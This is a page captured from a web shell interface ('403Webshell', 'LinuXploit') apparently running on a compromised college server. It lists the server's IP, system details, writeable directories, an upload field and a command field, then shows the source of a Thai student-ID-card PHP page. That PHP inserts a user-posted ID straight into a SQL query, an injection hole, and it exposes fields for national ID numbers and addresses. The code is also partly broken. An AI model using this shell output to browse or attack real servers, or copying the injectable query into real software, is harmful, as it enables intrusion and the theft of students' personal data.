403Webshell
Server IP : 202.29.229.35  /  Your IP : 18.119.120.88
Web Server : Apache
System : Linux aapanel2 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www ( 1001)
PHP Version : 5.5.38
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/www.ivecr2.ac.th/stdcard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/www.ivecr2.ac.th/stdcard/addstd_show.php
<?php error_reporting(0); ?>
<center><h2>แสดงรายชื่อนักศึกษา</h2></center>
<?php if($_POST['id'] == ""){ ?>
<form class="form-horizontal" action="#" method="post">
  <div class="form-group">
    <label for="inputEmail3" class="col-sm-2 control-label">รหัสนักเรียน</label>
    <div class="col-sm-10">
      <input type="text" class="form-control" name="id" >
    </div>
  </div>
  
  <div class="form-group">
    <div class="col-sm-offset-2 col-sm-10">
      <button type="submit" class="btn btn-default">OK</button>
    </div>
  </div>
</form>
<?php }else{ ?>

<form class="form-horizontal">
	<span style="color:#F00">002 = ชาย || 003 = หญิง</span>
 <?php 
 
	
 include("connect/connect.php"); 


function perfix1(){
	$input = '<select name="perfix_id" id="select" class="form-control">
    <option value="">เลือก</option>
	<option value="002">นาย</option>
	<option value="003">นางสาว</option>';
	$input.='</select>';
	return $input;	
}


function major1(){
	
	$sql = "SELECT * FROM tblbranch";
	$query = mysql_query($sql) or die(mysql_error());
	$input = '<select name="major_id" id="select" class="form-control">
    <option value="">เลือก</option>';
	
	while($data = mysql_fetch_assoc($query)){
		$t = $data['level']." ".$data['coureId']." ".$data['branch']." || ".$data['major'];
		$input.= '<option value="'.$data['branchId'].'">'.$t.'</option>';
	}
	
	
	$input.='</select>';
	return $input;	
	
}

$student_id=$_POST['id'];
echo "id=>".$student_id;
//if($student_id != ""){
	
	$query = mysql_query("SELECT * FROM tblstd_idcard WHERE student_id = '".$_POST['id']."'");
	echo "***>".$qery;
	$data = mysql_fetch_assoc($query) or die(mysql_error());
	echo mysql_num_rows($query);
}

	$field = array(
		'student_id' => "รหัสนักศึกษา",
		 'people_id' => "รหัสบัตรประชาชน", 
		 'perfix_id' => "คำนำหน้า", 
		 'stu_fname'=>"ชื่อจริง",
		  'stu_lname'=>"นามสกุล",
		   'birthday' => "วันเดิอนปีเกิด",
		    'start_year' => "ปีเข้า",
			 'schedu_id' => "สาขางาน", 
			 'group_id'=> "รหัสกลุ่มเรียน", 
			 'years' => "ปีที่ปริ้นบัตร", 
			 'major_id'=> "สาขาวิชา", 
			 'major_name' =>"ชื่อสาขางาน",
			  'minor_name' => "ชื่อสาขาวิชา", 
			   'BloodGroup' => "หมู่โลหิต",
				'school' => "วิทยาลัย",
				'adress' => "ที่อยู่",
				'adress1' => "ตำบล,อำเภอ,จังหวัด",
				'idschool' => "รหัสวิทยาลัย",
			
	);
	foreach($field as $key => $value){
?>
 <div class="form-group">
    <label for="inputEmail3" class="col-sm-2 control-label"><?php echo $value;?></label>
    <div class="col-sm-10">
    <?php 
		if($key == "major_did"){
			echo major1();
		}
		else if($key == "perfix_idd"){
			echo perfix1();	
		}else{
		?>
        
      <input type="text" class="form-control" name="<?php echo $key;?>" value="<?php echo $data[$key];?>" >
      <?php  }?>
    </div>
  </div>
<?php
	}
?>
  
  <span style="color:#F00">002 = ชาย || 003 = หญิง</span>
</form>

Youez - 2016 - github.com/yon3zu
LinuXploit